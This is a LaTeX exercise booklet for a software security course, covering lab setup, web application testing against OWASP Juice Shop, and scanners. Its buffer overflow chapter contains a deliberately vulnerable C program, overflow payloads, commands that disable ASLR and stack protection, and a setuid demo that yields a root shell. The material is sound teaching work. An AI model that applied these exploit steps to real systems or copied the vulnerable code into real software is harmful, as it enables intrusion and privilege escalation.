<filename>courses/system-and-software/software-security/software-security-exercises.tex<gh_stars>1-10
\documentclass[a4paper,11pt,notitlepage]{report}
% <NAME>, February 2001
% <EMAIL>,
% My standard packages
\usepackage{zencurity-network-exercises}

\begin{document}

\rm
\selectlanguage{english}

\newcommand{\emne}[1]{Software Security course}
\newcommand{\kursus}[1]{Software Security course}
\newcommand{\kursusnavn}[1]{Software Security course\\ exercises}

\mytitle{Software Security}{exercises}

\pagenumbering{roman}

\setcounter{tocdepth}{0}

\normal

{\color{titlecolor}\tableofcontents}
%\listoffigures - not used
%\listoftables - not used

\normal
\pagestyle{fancyplain}
\chapter*{\color{titlecolor}Preface}
\markboth{Preface}{}

This material is prepared for use in \emph{\kursus} and was prepared by
<NAME>, \link{http://www.zencurity.com} .
It describes the networking setup and
applications for trainings and courses where hands-on exercises are needed.

Further a presentation is used which is available as PDF from kramse@Github\\
Look for \jobname in the repo security-courses.

These exercises are expected to be performed in a training setting with network connected systems. The exercises use a number of tools which can be copied and reused after training. A lot is described about setting up your workstation in the repo

\link{https://github.com/kramse/kramse-labs}


\section*{\color{titlecolor}Prerequisites}

This material expect that participants have a working knowledge of
TCP/IP from a user perspective. Basic concepts such as web site addresses and email should be known as well as IP-addresses and common protocols like DHCP.

\vskip 1cm
Have fun and learn
\eject

% =================== body of the document ===============
% Arabic page numbers
\pagenumbering{arabic}
\rhead{\fancyplain{}{\bf \chaptername\ \thechapter}}

% Main chapters
%---------------------------------------------------------------------
% gennemgang af emnet
% check questions

\chapter*{\color{titlecolor}Exercise content}
\markboth{Exercise content}{}

Most exercises follow the same procedure and has the following content:
\begin{itemize}
\item {\bf Objective:} What is the exercise about, the objective
\item {\bf Purpose:} What is to be the expected outcome and goal of doing this exercise
\item {\bf Suggested method:} suggest a way to get started
\item {\bf Hints:} one or more hints and tips or even description how to
do the actual exercises
\item {\bf Solution:} one possible solution is specified
\item {\bf Discussion:} Further things to note about the exercises, things to remember and discuss
\end{itemize}

Please note that the method and contents are similar to real life scenarios and does not detail every step of doing the exercises. Entering commands directly from a book only teaches typing, while the exercises are designed to help you become able to learn and actually research solutions.


\chapter{Download Kali Linux Revealed (KLR) Book 10 min}
\label{ex:sw-downloadKLR}


\hlkimage{3cm}{kali-linux-revealed.jpg}

\emph{Kali Linux Revealed  Mastering the Penetration Testing Distribution}


{\bf Objective:}\\
We need a Kali Linux for running tools during the course. This is open source, and the developers have released a whole book about running Kali Linux.

This is named Kali Linux Revealed (KLR)

{\bf Purpose:}\\
We need to install Kali Linux in a few moments, so better have the instructions ready.

{\bf Suggested method:}\\
Create folders for educational materials.

Current link, may be updated:\\
\link{https://kali.training/courses/kali-linux-revealed/}

Read and follow the instructions for downloading the book.

{\bf Solution:}\\
When you have a directory structure for download for this course, and the book KLR in PDF you are done.

{\bf Discussion:}\\
Linux is free and everywhere. The tools we will run in this course are made for Unix, so they run great on Linux.

Kali Linux is a free pentesting platform, and probably worth more than \$10.000

The book KLR is free, but you can buy/donate, and I recommend it.


\chapter{Download Debian Administrator’s Handbook (DEB) Book 10 min}
\label{ex:sw-downloadDEB}

\hlkimage{3cm}{book-debian-administrators-handbook.jpg}


{\bf Objective:}\\
We need a Linux for running some tools during the course. I have chosen Debian Linux as this is open source, and the developers have released a whole book about running it.

This book is named
\emph{The Debian Administrator’s Handbook},  - shortened DEB

{\bf Purpose:}\\
We need to install Debian Linux in a few moments, so better have the instructions ready.

{\bf Suggested method:}\\
Create folders for educational materials. Go to download from the link \url{https://debian-handbook.info/}
Read and follow the instructions for downloading the book.

{\bf Solution:}\\
When you have a directory structure for download for this course, and the book DEB in PDF you are done.

{\bf Discussion:}\\
Linux is free and everywhere. The tools we will run in this course are made for Unix, so they run great on Linux.

Debian Linux is a free operating system platform.

The book DEB is free, but you can buy/donate to Debian, and I recommend it.

Not curriculum but explains how to use Debian Linux


\chapter{Check your Kali VM, run Kali Linux 30 min}
\label{ex:sw-basicVM}

\hlkimage{10cm}{kali-linux.png}

{\bf Objective:}\\
Make sure your virtual machine is in working order.

We need a Kali Linux for running tools during the course.

{\bf Purpose:}\\
If your VM is not installed and updated we will run into trouble later.

{\bf Suggested method:}\\
Go to \link{https://github.com/kramse/kramse-labs/}

Read the instructions for the setup of a Kali VM.

{\bf Hints:}\\
If you allocate enough memory and disk you wont have problems.

{\bf Solution:}\\
When you have a updated virtualisation software and Kali Linux, then we are good.

{\bf Discussion:}\\
Linux is free and everywhere. The tools we will run in this course are made for Unix, so they run great on Linux.

Kali Linux includes many hacker tools and should be known by anyone working in infosec.

\chapter{Check your Debian VM 10 min}
\label{ex:sw-basicDebianVM}

\hlkimage{10cm}{debian-xfce.png}

{\bf Objective:}\\
Make sure your virtual Debian server is in working order.

We need a Debian Linux for running a few extra tools during the course.

{\Large \bf This is a bonus exercise - only one Debian is needed per team.}

{\bf Purpose:}\\
If your VM is not installed and updated we will run into trouble later.

{\bf Suggested method:}\\
Go to \link{https://github.com/kramse/kramse-labs/}

Read the instructions for the setup of a Kali VM.

{\bf Hints:}\\

{\bf Solution:}\\
When you have a updated virtualisation software and Kali Linux, then we are good.

{\bf Discussion:}\\
Linux is free and everywhere. The tools we will run in this course are made for Unix, so they run great on Linux.



\chapter{Investigate /etc 10 min}
\label{ex:sw-basicLinuxetc}


{\bf Objective:}\\
We will investigate the /etc directory on Linux. We need a Debian Linux and a Kali Linux, to compare

{\bf Purpose:}\\
Start seeing example configuration files, including:
\begin{itemize}
  \item User database \verb+/etc/passwd+ and \verb+/etc/group+
  \item The password database \verb+/etc/shadow+
\end{itemize}

{\bf Suggested method:}\\
Boot your Linux VMs, log in

Investigate permissions for the user database files \verb+passwd+ and \verb+shadow+

{\bf Hints:}\\
Linux has many tools for viewing files, the most efficient would be less.

\begin{alltt}
hlk@debian:~$ cd /etc
hlk@debian:/etc$ ls -l shadow passwd
-rw-r--r-- 1 root root   2203 Mar 26 17:27 passwd
-rw-r----- 1 root shadow 1250 Mar 26 17:27 shadow
hlk@debian:/etc$ ls
... all files and directories shown, investigate more if you like
\end{alltt}

Showing a single file: \verb+less /etc/passwd+ and press q to quit

Showing multiple files: \verb+less /etc/*+ then :n for next and q for quit

\begin{alltt}
Trying reading the shadow file as your regular user:
user@debian-9-lab:/etc$ cat /etc/shadow
cat: /etc/shadow: Permission denied
\end{alltt}

Why is that? Try switching to root, using su or sudo, and redo the command.

{\bf Solution:}\\
When you have seen the most basic files you are done.

{\bf Discussion:}\\
Linux is free and everywhere. The tools we will run in this course are made for Unix, so they run great on Linux.

Sudo is a tool often used for allowing users to perform certain tasks as the super user. The tool is named from superuser do! \link{https://en.wikipedia.org/wiki/Sudo}


\chapter{Enable UFW firewall - 10 min}
\label{ex:debian-firewall}

{\bf Objective:}\\
Turn on a firewall and configure a few simple rules.

{\bf Purpose:}\\
See how easy it is to restrict incoming connections to a server.


{\bf Suggested method:}\\
Install a utility for firewall configuration.

You could also perform Nmap port scan with the firewall enabled and disabled.

{\bf Hints:}\\
Using the ufw package it is very easy to configure the firewall on Linux.

Install and configuration can be done using these commands.
\begin{alltt}
root@debian01:~# apt install ufw
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
  ufw
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 164 kB of archives.
After this operation, 848 kB of additional disk space will be used.
Get:1 http://mirrors.dotsrc.org/debian stretch/main amd64 ufw all 0.35-4 [164 kB]
Fetched 164 kB in 2s (60.2 kB/s)
...
root@debian01:~# ufw allow 22/tcp
Rules updated
Rules updated (v6)
root@debian01:~# ufw enable
Command may disrupt existing ssh connections. Proceed with operation (y|n)? y
Firewall is active and enabled on system startup
root@debian01:~# ufw status numbered
Status: active

     To                         Action      From
     --                         ------      ----
[ 1] 22/tcp                     ALLOW IN    Anywhere
[ 2] 22/tcp (v6)                ALLOW IN    Anywhere (v6)
\end{alltt}

Also allow port 80/tcp and port 443/tcp - and install a web server. Recommend Nginx \verb+apt-get install nginx+

{\bf Solution:}\\
When firewall is enabled and you can still connect to Secure Shell (SSH) and web service, you are done.

{\bf Discussion:}\\
Further configuration would often require adding source prefixes which are allowed to connect to specific services. If this was a database server the database service should probably not be reachable from all of the Internet.

Web interfaces also exist, but are more suited for a centralized firewall.

Configuration of this firewall can be done using ansible, see the documentation and examples at \url{https://docs.ansible.com/ansible/latest/modules/ufw_module.html}

Should you have both a centralized firewall in front of servers, and local firewall on each server? Discuss within your team.


\chapter{Git tutorials - 15min}
\label{ex:git-tutorial}


\hlkimage{3cm}{git-logo.png}

{\bf Objective:}\\
Try the program Git locally on your workstation

{\bf Purpose:}\\
Running Git will allow you to clone repositories from others easily. This is a great way to get new software packages, and share your own.

Git is the name of the tool, and Github is a popular site for hosting git repositories.

{\bf Suggested method:}\\
Run the program from your Linux VM. You can also clone from your Windows or Mac OS X computer. Multiple graphical front-end programs exist too.


First make sure your system is updated, as root run:

\begin{minted}[fontsize=\footnotesize]{shell}
sudo apt-get update && apt-get -y upgrade && apt-get -y dist-upgrade
\end{minted}
You should reboot if the kernel is upgraded :-)

Second make sure your system has Git, ansible and my playbooks: (as root run, or with sudo as shown)
\begin{minted}[fontsize=\footnotesize]{shell}
sudo apt -y install ansible git
\end{minted}


Most important are Git clone and pull:
\begin{alltt}\footnotesize
user@Projects:tt$ {\bf git clone https://github.com/kramse/kramse-labs.git}
Cloning into 'kramse-labs'...
remote: Enumerating objects: 283, done.
remote: Total 283 (delta 0), reused 0 (delta 0), pack-reused 283
Receiving objects: 100% (283/283), 215.04 KiB | 898.00 KiB/s, done.
Resolving deltas: 100% (145/145), done.

user@Projects:tt$ {\bf cd kramse-labs/}

user@Projects:kramse-labs$ {\bf ls}
LICENSE  README.md  core-net-lab  lab-network  suricatazeek  work-station
user@Projects:kramse-labs$ git pull
Already up to date.
\end{alltt}

If you want to install the Atom editor, you can run the Ansible playbook from the workstation directory.

Then run it with:
\begin{minted}[fontsize=\footnotesize]{shell}
cd ~/kramse-labs/workstation
ansible-playbook -v 1-dependencies.yml
\end{minted}



{\bf Hints:}\\
Browse the Git tutorials on \link{https://git-scm.com/docs/gittutorial}\\
and \link{https://guides.github.com/activities/hello-world/}

We will not do the whole tutorials within 15 minutes, but get an idea of the command line, and see examples. Refer back to these tutorials when needed or do them at home.

Note: you don't need an account on Github to download/clone repositories, but having an acccount allows you to save repositories yourself and is recommended.

{\bf Solution:}\\
When you have tried the tool and seen the tutorials you are done.

{\bf Discussion:}\\
Before Git there has been a range of version control systems,\\
see \link{https://en.wikipedia.org/wiki/Version\_control} for more details.




\chapter{Run OWASP Juice Shop 45 min}
\label{ex:sw-startjuice}

\hlkimage{3cm}{JuiceShop_Logo_100px.png}

{\bf Objective:}\\
Lets try starting the OWASP Juice Shop

{\bf Purpose:}\\
We will be doing some web hacking where you will be the hacker. There
will be an application we try to hack, designed to
optimise your learning.

It is named JuiceShop which is written in JavaScript

{\bf Suggested method:}\\
Go to \link{https://github.com/bkimminich/juice-shop}

Read the instructions for running juice-shop - docker is a simple way.

What you need

You need to have browsers and a proxy, plus a basic knowledge of HTTP.

If you could install Firefox it would be great, and we will use the
free version of Burp Suite, so please make sure you can run Java and
download the free version from Portswigger from:

\link{https://portswigger.net/burp/communitydownload}


{\bf Hints:}\\
The application is very modern, very similar to real applications.

The Burp proxy is an advanced tool! Dont be scared, we will use small parts at different times.

JuiceShop can be run as a docker, and sometimes running it on Kali is the easiest learning environment.

{\bf Solution:}\\
When you have a running Juice Shop web application in your team, then we are good.

{\bf Discussion:}\\
It has lots of security problems which can be used for learning
hacking, and thereby how to secure your applications. It is  related
to the OWASP.org Open Web Application Security Project which also has a
lot of resources.

Sources:\\
\url{https://github.com/bkimminich/juice-shop}\\
\url{https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project}

It is recommended to buy the \emph{Pwning OWASP Juice Shop Official companion guide to the OWASP Juice Shop} from \link{https://leanpub.com/juice-shop} - suggested price USD 5.99



\chapter{Setup JuiceShop environment, app and proxy - up to 60min}
\label{ex:js-burp}

{\bf Objective:}\\
Run JuiceShop with Burp proxy.

Start JuiceShop and make sure it works, visit using browser.

Then add a web proxy in-between. We will use Burp suite which is a commercial product, in the community edition.

{\bf Purpose:}\\
We will learn more about web applications as they are a huge part of the applications used in enterprises and on the internet. Most mobile apps are also web applications in disguise.

By inserting a web proxy we can inspect the data being sent between browsers and the application.

{\bf Suggested method:}\\
You need to have browsers and a proxy, plus a basic knowledge of HTTP.

If you could install Firefox it would be great, and we will use the
free version of Burp Suite, so please make sure you can run Java and
download the free version \emph{plain JAR file} from Portswigger from:

\link{https://portswigger.net/burp/communitydownload}

follow the Getting Started instructions at:\\
\link{https://support.portswigger.net/customer/portal/articles/1816883-getting-started-with-burp-suite}


{\bf Hints:}\\
Recommend running Burp on the default address and port 127.0.0.1 port 8080.

Note: Burp by default has \verb+intercept is on+ in the Proxy tab, press the button to allow data to flow.

\hlkimage{10cm}{burp-default-proxy-intercept.png}

Then setting it as proxy in Firefox:

\hlkimage{10cm}{firefox-connection-burp.png}

After setting up proxy, you can visit \url{http://burp} and get a CA certificate that can be installed, making it easier to run against HTTPS sites.

The newest versions of Burp include a browser, making it much easier to run the tasks, pre-configured with proxy.

{\bf Solution:}\\
When web sites and servers start popping up in the Target tab, showing the requests and responses - you are done.

Your browser will alert you when visiting TLS enabled sites, HTTPS certificates do not match, as Burp is doing a person-in-the-middle. You need to select advanced and allow this to continue.

{\bf Discussion:}\\
Since Burp is often updated I use a small script for starting Burp which I save in \verb+~/bin/burp+ - dont forget to add to PATH and \verb+chmod +x bin/burp+.

\begin{alltt}
#! /bin/sh
DIRNAME=`dirname $0`
BURP=`ls -1tra $DIRNAME/burp*.jar | tail -1`
java -jar -Xmx6g $BURP &
\end{alltt}

When running in production testing real sites, I typically increase the memory available using JDK / Java settings like \verb+-Xmx16g+

\chapter{Run small programs: Python, Shell script 20min}
\label{ex:small-python}

{\bf Objective:}\\
Be able to create small scripts using Python and Unix shell.

{\bf Purpose:}\\
Often it is needed to automate some task. Using scripting languages allows one to quickly automate.

Python is a very popular programming language. The Python language
is an interpreted, high-level, general-purpose programming language. Created by <NAME> and first released in 1991.


You can read more about Python at:\\
\url{https://www.python.org/about/gettingstarted/} and \\
\url{https://en.wikipedia.org/wiki/Python_(programming_language)}

Shell scripting is another method for automating things on Unix. There are a number of built-in shell programs available.

You should aim at using basic shell scripts, to be used with \verb+/bin/sh+ - as this is the most portable Bourne shell.



{\bf Suggested method:}\\
Both shell and Python is often part of Linux installations.

Use and editor, leafpad, atom, VI/VIM, joe, EMACS, Nano ...

Create two files, I named them \verb+python-example.py+ and \verb+shell-example.sh+:

\VerbatimInput{python-example.py}

\VerbatimInput{shell-example.sh}

Unix does not require the file type .py or .sh, but it is often recommended to use it. To be able to run these programs you need to make them executable. Use the commands to set execute bit and run them:



Note: Python is available in two versions, version 2 and version 3. You should aim at running only version 3, as the older one is deprecated.

{\bf Hints:}\\
\begin{alltt}
$ chmod +x python-example.py shell-example.sh

$ ./python-example.py
21

$ ./shell-example.sh
Todays date in ISO format is: 2019-08-29
This system has 32 /etc/passwd users

\end{alltt}

{\bf Solution:}\\
When you have tried making both a shell script and a python program, you are done.

{\bf Discussion:}\\
If you want to learn better shell scripting there is an older but very recommended book,

\emph{Classic Shell Scripting
Hidden Commands that Unlock the Power of Unix}
By <NAME>, <NAME>. Publisher: O'Reilly Media
Release Date: December 2008
 \link{http://shop.oreilly.com/product/9780596005955.do}


\chapter{Optional: Run parts of a Django tutorial 30min}
\label{ex:django-intro}

{\bf Objective:}\\
Talk about web applications, how they are made.

{\bf Purpose:}\\
Know how you can get started using a framework, like Django\\ \link{https://www.djangoproject.com/}

{\bf Suggested method:}\\
We will visit a Django tutorial and talk about the benefits from using existing frameworks.

{\bf Hints:}\\
Input validation is a problem most applications face. Using Django a lot of functionality is available for input validation.

Take a look at Form and field validation:\\
\link{https://docs.djangoproject.com/en/2.2/ref/forms/validation/}

You can also write your own validators, and should centralize validation in your own applications.

\begin{minted}[fontsize=\small]{python}

  from django.core.exceptions import ValidationError
  from django.utils.translation import gettext_lazy as _

  def validate_even(value):
      if value % 2 != 0:
          raise ValidationError(
              _('%(value)s is not an even number'),
              params={'value': value},
          )
\end{minted}

Example from:
\link{https://docs.djangoproject.com/en/2.2/ref/validators/}

{\bf Solution:}\\
When we have covered basics of what Django is, what frameworks provide and seen examples, we are done.

{\bf Discussion:}\\
Django is only an example, other languages and projects exist.


\chapter{Buffer Overflow 101 - 30-40min}
\label{ex:bufferoverflow}


{\bf Objective:}\\
Run a demo program with invalid input - too long.

{\bf Purpose:}\\
See how easy it is to cause an exception.

{\bf Suggested method:}\\
Running on a modern Linux has a lot of protection, making it hard to exploit. Using a Raspberry Pi instead makes it quite easy. Choose what you have available.

Using another processor architecture like MIPS or ARM creates other problems.

\begin{list2}
\item Small demo program \verb+demo.c+
\item Has built-in shell code, function \verb+the_shell+
\item Compile:
\verb+gcc -o demo demo.c+
\item Run program
\verb+./demo test+
\item Goal: Break and insert return address
\end{list2}

\begin{minted}[fontsize=\footnotesize]{c}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char **argv)
{      char buf[10];
        strcpy(buf, argv[1]);
        printf("%s\n",buf);
}
int the_shell()
{  system("/bin/dash");  }
\end{minted}

NOTE: this demo is using the dash shell, not bash - since bash drops privileges and won't work.

Use GDB to repeat the demo by the instructor.

{\bf Hints:}\\
First make sure it compiles:
\begin{alltt}
\$ gcc -o demo demo.c
\$ ./demo hejsa
hejsa
\end{alltt}

Make sure you have tools installed:
\begin{alltt}
apt-get install gdb
\end{alltt}

Then run with debugger:

\begin{alltt}
\$ gdb demo
GNU gdb (Debian 7.12-6) 7.12.0.20161007-git
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from demo...(no debugging symbols found)...done.
(gdb) {\bf
(gdb) run `perl -e "print 'A'x22; print 'B'; print 'C'"`}
Starting program: /home/user/demo/demo `perl -e "print 'A'x22; print 'B'; print 'C'"`
AAAAAAAAAAAAAAAAAAAAAABC

Program received signal SIGSEGV, Segmentation fault.
0x0000434241414141 in ?? ()
(gdb)
// OR
(gdb) {\bf
(gdb) run $(perl -e "print 'A'x22; print 'B'; print 'C'")}
Starting program: /home/user/demo/demo `perl -e "print 'A'x22; print 'B'; print 'C'"`
AAAAAAAAAAAAAAAAAAAAAABC

Program received signal SIGSEGV, Segmentation fault.
0x0000434241414141 in ?? ()
(gdb)

\end{alltt}

Note how we can see the program trying to jump to address with our data. Next step would be to make sure the correct values end up on the stack.

{\bf Solution:}\\
When you can run the program with debugger as shown, you are done.

{\bf Discussion:}\\

the layout of the program - and the address of the \verb+the_shell+ function can be seen using the command \verb+nm+:
\begin{alltt}\footnotesize
\$ nm demo
0000000000201040 B __bss_start
0000000000201040 b completed.6972
                 w __cxa_finalize@@GLIBC_2.2.5
0000000000201030 D __data_start
0000000000201030 W data_start
0000000000000640 t deregister_tm_clones
00000000000006d0 t __do_global_dtors_aux
0000000000200de0 t __do_global_dtors_aux_fini_array_entry
0000000000201038 D __dso_handle
0000000000200df0 d _DYNAMIC
0000000000201040 D _edata
0000000000201048 B _end
0000000000000804 T _fini
0000000000000710 t frame_dummy
0000000000200dd8 t __frame_dummy_init_array_entry
0000000000000988 r __FRAME_END__
0000000000201000 d _GLOBAL_OFFSET_TABLE_
                 w __gmon_start__
000000000000081c r __GNU_EH_FRAME_HDR
00000000000005a0 T _init
0000000000200de0 t __init_array_end
0000000000200dd8 t __init_array_start
0000000000000810 R _IO_stdin_used
                 w _ITM_deregisterTMCloneTable
                 w _ITM_registerTMCloneTable
0000000000200de8 d __JCR_END__
0000000000200de8 d __JCR_LIST__
                 w _Jv_RegisterClasses
0000000000000800 T __libc_csu_fini
0000000000000790 T __libc_csu_init
                 U __libc_start_main@@GLIBC_2.2.5
0000000000000740 T main
                 U puts@@GLIBC_2.2.5
0000000000000680 t register_tm_clones
0000000000000610 T _start
                 U strcpy@@GLIBC_2.2.5
                 U system@@GLIBC_2.2.5
000000000000077c T the_shell
0000000000201040 D __TMC_END__
\end{alltt}

The bad news is that this function is at an address \verb+000000000000077c+ which is hard to input using our buffer overflow, please try \smiley We cannot write zeroes, since strcpy stop when reaching a null byte.

We can compile our program as 32-bit using this, and disable things like ASLR, stack protection also:
\begin{alltt}
sudo apt-get install gcc-multilib
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc -m32 -o demo demo.c -fno-stack-protector -z execstack -no-pie
\end{alltt}

Then you can produce 32-bit executables:
\begin{alltt}\footnotesize
// Before:
user@debian-9-lab:~/demo$ file demo
demo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=82d83384370554f0e3bf4ce5030f6e3a7a5ab5ba, not stripped
// After - 32-bit
user@debian-9-lab:~/demo$ gcc -m32 -o demo demo.c
user@debian-9-lab:~/demo$ file demo
demo: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=5fe7ef8d6fd820593bbf37f0eff14c30c0cbf174, not stripped
\end{alltt}

And layout:
\begin{alltt}\footnotesize
0804a024 B __bss_start
0804a024 b completed.6587
0804a01c D __data_start
0804a01c W data_start
...
080484c0 T the_shell
0804a024 D __TMC_END__
080484eb T __x86.get_pc_thunk.ax
080483a0 T __x86.get_pc_thunk.bx
\end{alltt}


Successful execution would look like this - from a Raspberry Pi:
\begin{alltt}\footnotesize
\$ gcc -o demo demo.c
\$ nm demo | grep the_shell
000104ec T the_shell
\$

...
(gdb) run `perl -e " print 'A'x16; print chr(0xec).chr(04).chr(0x01);" `
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/pi/demo/demo `perl -e " print 'A'x16; print chr(0xec) . chr(04)  . chr (0x01);" `
AAAAAAAAAAAAAAAA
\$
\end{alltt}

Started a new shell.

you can now run the "exploit" - which is the shell function AND the misdirection of the instruction flow by overflow:
\begin{alltt}\footnotesize
pi@raspberrypi:~/demo $ gcc -o demo demo.c
pi@raspberrypi:~/demo $ sudo chown root.root demo
pi@raspberrypi:~/demo $ sudo chmod +s demo
pi@raspberrypi:~/demo $ id
uid=1000(pi) gid=1000(pi) grupper=1000(pi),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi)
pi@raspberrypi:~/demo $ ./demo `perl -e " print 'A'x16; print chr(0xec).chr(04).chr(0x01);" `
AAAAAAAAAAAAAAAA
# id
uid=1000(pi) gid=1000(pi) euid=0(root) egid=0(root) grupper=0(root),4(adm),20(dialout),24(cdrom),27(sudo),29(audio),44(video),46(plugdev),60(games),100(users),101(input),108(netdev),997(gpio),998(i2c),999(spi),1000(pi)
#

\end{alltt}


\chapter{Bonus: SSL/TLS scanners 15 min}
\label{ex:sslscan}

{\bf Objective:}\\
Try the Online Qualys SSLLabs scanner \link{https://www.ssllabs.com/}
Try the command line tool sslscan checking servers - can check both HTTPS and non-HTTPS protocols!

{\bf Purpose:}\\
Learn how to efficiently check TLS settings on remote services.

{\bf Suggested method:}\\
Run the tool against a couple of sites of your choice.

\begin{alltt}\small
root@kali:~# sslscan --ssl2 web.kramse.dk
Version: 1.10.5-static
OpenSSL 1.0.2e-dev xx XXX xxxx

Testing SSL server web.kramse.dk on port 443
...
  SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  *.kramse.dk
Altnames: DNS:*.kramse.dk, DNS:kramse.dk
Issuer:   AlphaSSL CA - SHA256 - G2
\end{alltt}

Also run it without \verb+--ssl2+ and against SMTPTLS if possible.

{\bf Hints:}\\
Originally sslscan is from \link{http://www.titania.co.uk} but use the version on Kali, install with apt if not installed.

{\bf Solution:}\\
When you can run and understand what the tool does, you are done.

{\bf Discussion:}\\
SSLscan can check your own sites, while Qualys SSLLabs only can test from hostname


\chapter{Real Vulnerabilities up to 30min}
\label{ex:real-vulns}



{\bf Objective:}\\
Look at real vulnerabilities. Choose a few real vulnerabilities, prioritize them.

{\bf Purpose:}\\
See that the error types described in the books - are still causing problems.



{\bf Suggested method:}\\
We will use the 2019 Exim errors as examples. Download the descriptions from:
\begin{list2}
\item Exim RCE CVE-2019-10149 June\\ \url{https://www.qualys.com/2019/06/05/cve-2019-10149/return-wizard-rce-exim.txt}

\item Exim RCE CVE-2019-15846 September\\
\url{https://exim.org/static/doc/security/CVE-2019-15846.txt}
\end{list2}

When done with these think about your own dependencies. What software do you depend on? How many vulnerabilities and CVEs are for that?

I depend on the OpenBSD operating system, and it has flaws too:\\
\url{https://www.openbsd.org/errata65.html}

You may depend on OpenSSH from the OpenBSD project, which has had a few problems too:\\
\url{https://www.openssh.com/security.html}

{\bf Hints:}\\
Remote Code Execution can be caused by various things, but most often some kind of input validation failure.

{\bf Solution:}\\
When you have identified the specific error type, is it buffer overflows? Then you are done.

{\bf Discussion:}\\
How do you feel about running internet services. Lets discuss how we can handle running insecure code.

What other methods can we use to restrict problems caused by similar vulnerabilities.

A new product will often use a generic small computer and framework with security problems.

\chapter{JuiceShop Attacks 60min}
\label{ex:juiceshop-attack}

\hlkimage{2cm}{JuiceShop_Logo_100px.png}

 {\bf Objective:}\\
Hack a web application!

Try a few attacks in the JuiceShop with web proxy

\begin{quote}
The OWASP Juice Shop is a pure web application implemented in JavaScript. In the
frontend the popular AngularJS framework is used to create a so-called Single Page
Application. The user interface layout is provided by Twitter's Bootstrap framework - which
works nicely in combination with AngularJS.
JavaScript is also used in the backend as the exclusive programming language: An Express
application hosted in a Node.js server delivers the client-side code to the browser. It also
provides the necessary backend functionality to the client via a RESTful API.

...

The vulnerabilities found in the OWASP Juice Shop are categorized into several different
classes. Most of them cover different risk or vulnerabiliy types from well-known lists or
documents, such as OWASP Top 10 or MITRE's Common Weakness Enumeration. The
following table presents a mapping of the Juice Shop's categories to OWASP and CWE
(without claiming to be complete).
\end{quote}

\hlkimage{10cm}{juiceshop-mappings.png}
Source: \emph{Pwning OWASP Juice Shop}


 {\bf Purpose:}\\
 Try out some of the described web application flaws in a controlled environment. See how an attacker would be able to gather information and attack through HTTP, browser and proxies.

 {\bf Suggested method:}\\
Start the web application, start Burp or another proxy - start your browser.

Access the web application through your browser and get a feel for how it works. First step is to register your user, before you can shop.

Dont forget to use web developer tools like the JavaScript console!

Then afterwards find and try to exploit vulnerabilities, using the book from Björn and starting with some easy ones:

Suggested list of starting vulns:
\begin{list2}
\item Admin Section Access the Admin Section
\item Error handling Provoke and error
\item Forged Feedback Post some feedback in another users name.
\item Access a confidential document
\item Forgotten Sales Backup Access a salesman's forgotten backup file.
\item Retrieve a list of all user credentials via SQL Injection
\end{list2}


 {\bf Hints:}\\
 The complete guide \emph{Pwning OWASP Juice Shop}
written by <NAME> is available as PDF which you can buy, or you can read it online at:\\
\url{https://bkimminich.gitbooks.io/pwning-owasp-juice-shop/content/}

 {\bf Solution:}\\
 You decide for how long you want to play with JuiceShop.

 Do know that some attackers on the internet spend all their time researching, exploiting and abusing web applications.

 {\bf Discussion:}\\
The vulnerabilities contained in systems like JuiceShop mimic real ones, and do a very good job. You might not think this is possible in real applications, but there is evidence to the contrary.

Using an app like JS instead of real applications with flaws allow you to spend less on installing apps, and more on exploiting.




\chapter{Nikto Web Scanner 15 min}
\label{ex:nikto-webscanner}

{\bf Objective:}\\
Try the program Nikto locally your workstation


{\bf Purpose:}\\
Running Nikto will allow you to analyse web servers quickly.

\hlkimage{2cm}{nikto.jpg}

\begin{quote}
{\bf Description}
Nikto is an Open Source (GPL) web server scanner which performs
comprehensive tests against web servers for multiple items, including
over 3200 potentially dangerous files/CGIs, versions on over 625
servers, and version specific problems on over 230 servers. Scan items
and plugins are frequently updated and can be automatically updated
(if desired).
\end{quote}

Source: Nikto web server scanner \link{http://cirt.net/nikto2}


\begin{list1}
\item Easy to run, free and quickly reports on static URLs resulting in a interesting response
\item \verb+nikto -host 127.0.0.1 -port 8080+
\item When run with port 443 will check TLS sites
\end{list1}



{\bf Suggested method:}\\
Run the program from your Kali Linux VM

\begin{alltt}
\footnotesize
Script started on Tue Nov  7 17:43:54 2006
$  nikto -host 127.0.0.1 -port 8080 ^M
---------------------------------------------------------------------------
- Nikto 1.35/1.34     -     www.cirt.net
+ Target IP:       127.0.0.1
+ Target Hostname: localhost.pentest.dk
+ Target Port:     8080
+ Start Time:      Tue Nov  7 17:43:59 2006
...
+ /examples/ - Directory indexing enabled, also default JSP examples. (GET)
+ /examples/jsp/snp/snoop.jsp - Displays information about page
retrievals, including other users. (GET)
+ /examples/servlets/index.html - Apache Tomcat default JSP pages
present. (GET)
\end{alltt}
%$

{\bf Hints:}\\
Nikto can find things like a debug.log, example files, cgi-bin directories etc.

If the tool is not available first try: \verb+apt-get install nikto+

Some tools will need to be checked out from Git and run or installed from source.

{\bf Solution:}\\
When you have tried the tool and seen some data you are done.

{\bf Discussion:}\\





\chapter{Whatweb Scanner 15 min}
\label{ex:whatweb-scanner}

{\bf Objective:}\\
